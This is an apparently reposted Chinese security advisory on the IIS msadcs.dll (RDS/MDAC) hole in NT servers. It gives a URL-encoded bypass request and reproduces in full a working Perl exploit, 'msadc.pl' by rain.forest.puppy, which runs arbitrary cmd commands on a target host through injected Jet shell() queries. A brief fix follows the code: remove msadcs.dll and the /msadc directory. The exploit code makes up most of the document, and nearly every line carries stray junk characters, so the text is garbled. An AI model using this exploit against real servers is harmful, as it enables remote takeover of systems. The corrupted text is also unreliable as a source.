IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
eyMn! a fY00 涉及程序：
0~ho/ _ Microsoft NT server
zzf@U &x< E#KZZ lbx 描述：
M~2Us{ ` 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
oK\zyNK hU$o^ICH 详细：
|0i{z(B 如果你没有时间读详细内容的话，就删除:
[MpWvLP"x c:\Program Files\Common Files\System\Msadc\msadcs.dll
7
XxZF43 有关的安全问题就没有了。
E 5^\]`9P >N |?>M* 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
D m0)%# EVqW(|Xg 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
h< r(:.%!} 关于利用ODBC远程漏洞的描述，请参看:
A'jvm@DvQI `"=>lu2H http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm
I<D#
K
";Et 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
;g!rc#z2g http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q-oD mjU '. bf88D 这里不再论述。
TTVmm{6 L(;$(k-/( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
O{ l4 f:51 ,->K)Rs ; /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
So&gDR;b 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
/"Vd( K2Z XjN4EDi+E KmNn W1T #将下面这段保存为txt文件，然后: "perl -x 文件名"
2GptK"MrD V;%ug'j #!perl
_;k<=ns(= #
,H{9`a#+: # MSADC/RDS 'usage' (aka exploit) script
'S FAJ #
,'s }g,L # by rain.forest.puppy
?62Im^1/ #
qLCN ANWnd # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9A"s7iJ) # beta test and find errors!
`D77CC]vU o.ZR 5 `. use Socket; use Getopt::Std;
v#Rh:#7O%U getopts("e:vd:h:XR", \%args);
B%8@yS =%m{|HQ` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
J#$U<`j*G ^bv^&V&IB if (!defined $args{h} && !defined $args{R}) {
q- `& C print qq~
SZKYq8ZA)V Usage: msadc.pl -h <host> { -d <delay> -X -v }
~, } |~ -h <host> = host you want to scan (ip or domain)
lbAhP+B -d <seconds> = delay between calls, default 1 second
Vc9rc} -X = dump Index Server path table, if available
%V>% AP -v = verbose
lI?P_2AaS -e = external dictionary file for step 5
k' st^1T x4*
b hiu Or a -R will resume a command session
+.!D>U$ )} a$=~1@ ~; exit;}
@s1T|}AJ 6M
>@DRZ'| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
=^ KgNQ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|6 Q5bV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8* A%k1+ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
v@=qVwX $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/JS_gr@DK if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
S9Sgd& a9 P P J^;s if (!defined $args{R}){ $ret = &has_msadc;
p^8a<e?f~f die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
xxur4@p! 8oJl ] print "Please type the NT commandline you want to run (cmd /c assumed):\n"
[#Qf#T%5h . "cmd /c ";
uN)c!='I $in=<STDIN>; chomp $in;
o-rX 4=T $command="cmd /c " . $in ;
bG]0 | 1d< b\P0 if (defined $args{R}) {&load; exit;}
% 6 *c40 I!L J&> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
["D!IqI : &try_btcustmr;
D&):2F^9. v.|#^A?Qx print "\nStep 2: Trying to make our own DSN...";
EnWv9I< &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
q\@Zf} G%I
.u print "\nStep 3: Trying known DSNs...";
]Kt@F0U<o &known_dsn;
86=W}eV1r blQ&QQL print "\nStep 4: Trying known .mdbs...";
X]=eC6M}:V &known_mdb;
GTR*3,rw h[>pC"s?K if (defined $args{e}){
KA?}o^-F print "\nStep 5: Trying dictionary of DSN names...";
86{>X5 + &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
j,i9,oF6] vxZ' -&;t print "Sorry Charley...maybe next time?\n";
*:n7B \. exit;
f]r*;YEc4 94w)Yln ##############################################################################
Q$U5[ TZm (X "J)x aQ sub sendraw { # ripped and modded from whisker
hP) Zm%@0f sleep($delay); # it's a DoS on the server! At least on mine...
C][$0 my ($pstr)=@_;
fB+h( 2N~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-~]H5 er` die("Socket problems\n");
Mc,|C) if(connect(S,pack "SnA4x8",2,80,$target)){
O.+J%], select(S); $|=1;
Z PH_s^ print $pstr; my @in=<S>;
v^JzbO~|gj select(STDOUT); close(S);
Fl_}Auj{&( return @in;
Onq^|r's& } else { die("Can't connect...\n"); }}
RH FRN&RU$ 4H6Fq*W{k ##############################################################################
d3 c.lD)L9 Tow=B sub make_header { # make the HTTP request
Rt?CE jy my $msadc=<<EOT
Pg8.RvmQ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
4;A F\De User-Agent: ACTIVEDATA
$bG*f*w Host: $ip
f 0H.$UAL Content-Length: $clen
d}Pfj=W Connection: Keep-Alive
><}nZ7 7Vy_Cec1 ADCClientVersion:01.06
u1 Q;M`+> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
+ALrHFG @/:4beh --!ADM!ROX!YOUR!WORLD!
4NID:< Content-Type: application/x-varg
%4nf(|8n Content-Length: $reqlen
&# e;`(* zu1"`K3b EOT
'6 M6e( ; $msadc=~s/\n/\r\n/g;
486\ a return $msadc;}
X\m\yv}} /F;2wT; ##############################################################################
&ww-t.. , Wd=!if sub make_req { # make the RDS request
@MOQk my ($switch, $p1, $p2)=@_;
*F1TZ_GS my $req=""; my $t1, $t2, $query, $dsn;
\}Am]Y/ w OWibmX if ($switch==1){ # this is the btcustmr.mdb query
684& H8 $query="Select * from Customers where City=" . make_shell();
_]zX W $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
tM]Gu?6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
0;l~B h}a}Ha bA elsif ($switch==2){ # this is general make table query
m FTuqujO $query="create table AZZ (B int, C varchar(10))";
i F+:j8
b $dsn="$p1";}
?xqS#^Z ! +e U elsif ($switch==3){ # this is general exploit table query
!K( $query="select * from AZZ where C=" . make_shell();
Da 7(jA+ $dsn="$p1";}
I$.l FQ%( GKFRZWXdT elsif ($switch==4){ # attempt to hork file info from index server
7K. 75%} $query="select path from scope()";
w( V%EEk $dsn="Provider=MSIDXS;";}
(B4)L % i?!9 %U!z4 elsif ($switch==5){ # bad query
b,+Sa\j)( $query="select";
+%XByY5 $dsn="$p1";}
C4(xtSJSd! q\<l"b z $t1= make_unicode($query);
%nkP" Z# $t2= make_unicode($dsn);
;D~#|CB $req = "\x02\x00\x03\x00";
NWn* _@7; $req.= "\x08\x00" . pack ("S1", length($t1));
QQW}.> N $req.= "\x00\x00" . $t1 ;
:6(\: $req.= "\x08\x00" . pack ("S1", length($t2));
)G)6D"5,+G $req.= "\x00\x00" . $t2 ;
/''=V.-N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
f !k ZyD7 return $req;}
)l`Ks +A?P 4} ##############################################################################
Bug.>ln1 G{[w+ObX sub make_shell { # this makes the shell() statement
k( Sda>- return "'|shell(\"$command\")|'";}
xmnBG4,f <<01@Q < ##############################################################################
Zy+ERaF|] dXxf{|gk> sub make_unicode { # quick little function to convert to unicode
5@5 *}[M my ($in)=@_; my $out;
o6A$)m5V for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!-`L1D_hy return $out;}
%w^*7Oi A{s -g>s ##############################################################################
t[TM\j0jW zd5=W"Y;] sub rdo_success { # checks for RDO return success (this is kludge)
+r!NR?^ m my (@in) = @_; my $base=content_start(@in);
B/l^=u+- if($in[$base]=~/multipart\/mixed/){
n,F yK`x return 1 if( $in[$base+10]=~/^\x09\x00/ );}
o:{Sws(= return 0;}
dI\_ I] _+48(Q F< ##############################################################################
; J|t-$Z w=XIpWl sub make_dsn { # this makes a DSN for us
!M 8_PC*a my @drives=("c","d","e","f");
4tm%F\Izy print "\nMaking DSN: ";
eOb--@~8 foreach $drive (@drives) {
?w(hPUd!2 print "$drive: ";
PR"x&JG@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
}169]!R "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
;-` NT`
#2 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
)tBz=hy# $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
nT> v return 0 if $2 eq "404"; # not found/doesn't exist
t|'%0 W if($2 eq "200") {
hk=[ v7 foreach $line (@results) {
[KBa=3>{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8;pY-j
# } return 0;}
aUNA`
L D4c'6WGb@ ##############################################################################
ZY8.p a_! H_J sub verify_exists {
B0yJ9U= Fj my ($page)=@_;
JRC2+BU
/ my @results=sendraw("GET $page HTTP/1.0\n\n");
lt-3 OcC return $results[0];}
iA{q$>{8 YT?Lt!cl= ##############################################################################
]0T*#U/P <eEI R sub try_btcustmr {
Hl X~a:.7 my @drives=("c","d","e","f");
P Ptmh. }e my @dirs=("winnt","winnt35","winnt351","win","windows");
:=*G7ZyW$
Wi=zu[[qc foreach $dir (@dirs) {
q`mxN!1[ print "$dir -> "; # fun status so you can see progress
4v>S Xch foreach $drive (@drives) {
564L.^$@| print "$drive: "; # ditto
n@tt.n!{l $reqlen=length( make_req(1,$drive,$dir) ) - 28;
! $mY.uu $reqlenlen=length( "$reqlen" );
m19\H $clen= 206 + $reqlenlen + $reqlen;
3:Nc`tM_ 'AK '(cZ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
6I RRRt O( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
>"IG\//I else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
A-L1vu; yKUxjb^b\ ##############################################################################
@+t|Aa^g :%9R&p:'ar sub odbc_error {
6p
}a! my (@in)=@_; my $base;
'qE w]l my $base = content_start(@in);
oU,8?( }'~ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
5uG^ `H@ X $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e46`" }r $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:vIJ>6lIR $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>'Lkn2WI return $in[$base+4].$in[$base+5].$in[$base+6];}
VDOC> print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
#Pk{ emYW print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
' *XIp: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
d)U(XiK' (M|DNDM'd ##############################################################################
evZP*N~G XM5)|D sub verbose {
VF11eZ" my ($in)=@_;
~D5FnN9 return if !$verbose;
+d LUq2 print STDOUT "\n$in\n";}
% S"z9@ ZzBaYoNy[0 ##############################################################################
E>
pr})^w ms Cz\8Xd sub save {
vh&~Y].W Y my ($p1, $p2, $p3, $p4)=@_;
.9Oj+:n open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~M*
UMF^ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
a0]GQyIG close OUT;}
03)irq% l; N:Q.6_%^ ##############################################################################
GQ?FUFuIoW :RIqA/ sub load {
QqF*SaO> my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ep;?%o ,G open(IN,"<rds.save") || die("Couldn't open rds.save\n");
m;"[b (u @p=<IN>; close(IN);
%4rlB$x $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
< ~CY?
$target= inet_aton($ip) || die("inet_aton problems");
w(_:+-rqQ< print "Resuming to $ip ...";
s \3]0n9 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
20 $Tky_ if($p[1]==1) {
+ W1l9n * $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_}j> $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
a'-xCV|^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
cahlYv' if (rdo_success(@results)){print "Success!\n";}
MY\mo,# else { print "failed\n"; verbose(odbc_error(@results));}}
D->E& # elsif ($p[1]==3){
fh_:ung if(run_query("$p[3]")){
H/[(T%]o print "Success!\n";} else { print "failed\n"; }}
1Zk1!> ? elsif ($p[1]==4){
1$# r)S[* if(run_query($drvst . "$p[3]")){
<oP`\m print "Success!\n"; } else { print "failed\n"; }}
PDc4ok`) exit;}
$=>:pQbBVX B^/Cx ##############################################################################
0Z((cI\J .
P 44t sub create_table {
uU$/4{ my ($in)=@_;
ZA_~o#0% $reqlen=length( make_req(2,$in,"") ) - 28;
p+Bvfn $reqlenlen=length( "$reqlen" );
tIBEja^l $clen= 206 + $reqlenlen + $reqlen;
{hO|{vz my @results=sendraw(make_header() . make_req(2,$in,""));
Y8s-cc( return 1 if rdo_success(@results);
@:'E9J06 my $temp= odbc_error(@results); verbose($temp);
26_PFHQu4 return 1 if $temp=~/Table 'AZZ' already exists/;
;$!0pxL)s return 0;}
PMQ31f/zf c}=[r1M* ##############################################################################
&, XP MT |M<R{Tt}nf sub known_dsn {
`+KLE(]vyH # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Z'^.H3YvL my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9p02K@wkD "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
A1zV5-E/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
o'P [uB/ *"/BD=INv} foreach $dSn (@dsns) {
9<! ??'@f print ".";
m`XaY J next if (!is_access("DSN=$dSn"));
rA_ r$X if(create_table("DSN=$dSn")){
;rCCk A6 print "$dSn successful\n";
aQ 6T2bQ if(run_query("DSN=$dSn")){
N9Fu print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
OH+2)X print "Something's borked. Use verbose next time\n";}}} print "\n";}
y(K:,CI 5oD%~Fk l ##############################################################################
[nsTO5G$u eLN(NSPoS sub is_access {
Tkf4`Gxd my ($in)=@_;
OHF:E44k $reqlen=length( make_req(5,$in,"") ) - 28;
Me,AE^pgL' $reqlenlen=length( "$reqlen" );
b{e|~v 6& $clen= 206 + $reqlenlen + $reqlen;
\HJ t } my @results=sendraw(make_header() . make_req(5,$in,""));
{}PBYX R my $temp= odbc_error(@results);
<8Q?kj verbose($temp); return 1 if ($temp=~/Microsoft Access/);
'&xRb* return 0;}
3o__tU)B
1\,wV, ##############################################################################
;{>-K8=>$ Y2p~chx9 sub run_query {
}5;3c % my ($in)=@_;
}xzbg $reqlen=length( make_req(3,$in,"") ) - 28;
Vuo 8[ h> $reqlenlen=length( "$reqlen" );
} JWk? $clen= 206 + $reqlenlen + $reqlen;
N(&/ Ud my @results=sendraw(make_header() . make_req(3,$in,""));
f lfE ~_ return 1 if rdo_success(@results);
Riz!HtyR my $temp= odbc_error(@results); verbose($temp);
h5# V,$ return 0;}
|a Ht6F x~O_v ##############################################################################
+4p gPv Os7 3u#!' sub known_mdb {
HV6'0_R0 my @drives=("c","d","e","f","g");
thSo,u GlW my @dirs=("winnt","winnt35","winnt351","win","windows");
=}AwA5G my $dir, $drive, $mdb;
#
OQ(oyT my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}h)[>I( 7^:0? Q # this is sparse, because I don't know of many
Piz PsJ|& my @sysmdbs=( "\\catroot\\icatalog.mdb",
#(NkbJ5ka "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
r5?qz<WW~ "\\system32\\certmdb.mdb",
%sLij* "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
$r=Ud > _7zER6#} my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
O8:,XTAN "\\cfusion\\cfapps\\forums\\forums_.mdb",
LA^H213N| "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
xcYYo'U "\\cfusion\\cfapps\\security\\realm_.mdb",
^m:?6y_uw "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~m56t5+uw "\\cfusion\\database\\cfexamples.mdb",
aTy&" "\\cfusion\\database\\cfsnippets.mdb",
f&ym'S "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
!>+Na~eN "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
V+l>wMeo "\\cfusion\\brighttiger\\database\\cleam.mdb",
Et+N4w "\\cfusion\\database\\smpolicy.mdb",
.ZrQ{~t "\\cfusion\\database\cypress.mdb",
^dR5fAS "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
&H{KXX"X "\\website\\cgi-win\\dbsample.mdb",
Q4MTedj1H "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
b1;80P/: D "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^4yFLqrC ); #these are just
xe6 2gaT foreach $drive (@drives) {
n300kpv foreach $dir (@dirs){
nNFZ77lg foreach $mdb (@sysmdbs) {
t XTa>Q print ".";
)LwB if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Ot]P H[+ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
:RW0 < if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
HJ*W3Mg
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
a[GlqaQy+- } else { print "Something's borked. Use verbose next time\n"; }}}}}
h &vq} |f~p3KCfV foreach $drive (@drives) {
'I_\ELb_ foreach $mdb (@mdbs) {
{^bs
}($J print ".";
h^5'i} @u if(create_table($drv . $drive . $dir . $mdb)){
Ui4 6 p print "\n" . $drive . $dir . $mdb . " successful\n";
"rr,P0lgX if(run_query($drv . $drive . $dir . $mdb)){
|!)3[<. print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(v^L2Po } else { print "Something's borked. Use verbose next time\n"; }}}}
BS#@ehdig }
f,Sybf/uHh U:E:" ##############################################################################
@&]j[if (s j%KLp4J/e sub hork_idx {
dHn Id2@# print "\nAttempting to dump Index Server tables...\n";
@W^A%6"j print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Ng,#d`Br $reqlen=length( make_req(4,"","") ) - 28;
(y AQm p p $reqlenlen=length( "$reqlen" );
9\i,3:Qc $clen= 206 + $reqlenlen + $reqlen;
2Fce| Tn my @results=sendraw2(make_header() . make_req(4,"",""));
@M"h_Z1# if (rdo_success(@results)){
c|Nv^V*2 my $max=@results; my $c; my %d;
;#!`c gAh for($c=19; $c<$max; $c++){
+aV>$Y $results[$c]=~s/\x00//g;
3e:"tus~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
; { Y|n_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
g R(*lXm5w $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Vcl"qz@Fj $d{"$1$2"}="";}
_'dsEF foreach $c (keys %d){ print "$c\n"; }
A[ ZJS } else {print "Index server doesn't seem to be installed.\n"; }}
t[F tIj6 2 ,;+) ##############################################################################
(ZjIwA9> MlsF?"H p sub dsn_dict {
co<){5zOT open(IN, "<$args{e}") || die("Can't open external dictionary\n");
PT|^RF%fT while(<IN>){
/%rbXrR4w $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
i3*?fMxhu) next if (!is_access("DSN=$dSn"));
Yq#I#
2RD if(create_table("DSN=$dSn")){
9ToM5oQ print "$dSn successful\n";
1U~Aup HE if(run_query("DSN=$dSn")){
7J,W#Ql)5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<{YP=WYW print "Something's borked. Use verbose next time\n";}}}
_W ]2~9 print "\n"; close(IN);}
.?_wcp= N*lq)@smq ##############################################################################
[={pF q` (OYR, [* sub sendraw2 { # ripped and modded from whisker
6k42>e*p sleep($delay); # it's a DoS on the server! At least on mine...
Q{H88g^=J my ($pstr)=@_;
\h : Rw | socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
LlR vm/ die("Socket problems\n");
jY:(Tv3~ if(connect(S,pack "SnA4x8",2,80,$target)){
?qw&H / R print "Connected. Getting data";
u|WX?@\ open(OUT,">raw.out"); my @in;
Nt&}T select(S); $|=1; print $pstr;
R/b)h P ~ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
I4
Tc&b close(OUT); select(STDOUT); close(S); return @in;
|>A 1J: } else { die("Can't connect...\n"); }}
hof$0Fg &.=d,XK N ##############################################################################
U-3KuR+ 0 &EXql'] sub content_start { # this will take in the server headers
'7wI 2D my (@in)=@_; my $c;
L,waQk / @ for ($c=1;$c<500;$c++) {
^gH.5L0]gH if($in[$c] =~/^\x0d\x0a/){
phl5E:fIKx if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
vp4!p~C{ else { return $c+1; }}}
5D-xm$8C return -1;} # it should never get here actually
K,|Gtaa~ s3_i 5,y ##############################################################################
+tdt>)a w^p
'D{{ sub funky {
0d`s(b54;O my (@in)=@_; my $error=odbc_error(@in);
RE oFP;H~ if($error=~/ADO could not find the specified provider/){
27t:-O print "\nServer returned an ADO miscofiguration message\nAborting.\n";
z.]t_`KuF9 exit;}
HG=!#-$9 if($error=~/A Handler is required/){
VV?+q) print "\nServer has custom handler filters (they most likely are patched)\n";
]! [ew O@ exit;}
@a>+r1 if($error=~/specified Handler has denied Access/){
ECg/ge2 print "\nServer has custom handler filters (they most likely are patched)\n";
N~\1yQT exit;}}
A<9ZX=DAjw yXppu [= ##############################################################################
5U3="L }j+Z F'# sub has_msadc {
}4#%0x`w my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
@,i:fY my $base=content_start(@results);
mAk)9`f/ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
e DX{}Dq( return 0;}
T N .mNl% "CT'^d+ ########################
Q;)[~p 2e/ JFhA Jq<&`6hn 解决方案：
Dx 4?6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
f lR6^6 E 2、移除web 目录: /msadc
